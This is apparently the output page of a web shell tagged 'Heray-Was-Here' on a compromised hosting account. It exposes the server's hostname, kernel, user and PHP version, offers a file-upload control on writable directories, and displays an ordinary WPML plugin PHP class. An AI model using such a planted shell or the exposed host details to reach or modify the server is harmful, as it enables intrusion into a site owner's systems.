Heray-Was-Here
Server : Apache
System : Linux hybrid3195.ca.ns.planethoster.net 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
User : alliancerealtynb ( 1004)
PHP Version : 7.4.33
Disable Function : noop
Directory :  /home/alliancerealtynb/wpml-string-translationOLD/classes/API/rest/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alliancerealtynb/wpml-string-translationOLD/classes/API/rest/Base.php
<?php

namespace WPML\ST\Rest;

abstract class Base implements \WPML\Rest\ITarget, \IWPML_Action {

	/** @var \WPML\Rest\Adaptor */
	private $adaptor;

	public function __construct( \WPML\Rest\Adaptor $adaptor ) {
		$this->adaptor = $adaptor;
		$adaptor->set_target( $this );
	}

	/**
	 * @return string
	 */
	public function get_namespace() {
		return 'wpml/st/v1';
	}

	public function add_hooks() {
		$this->adaptor->add_hooks();
	}
}

Hry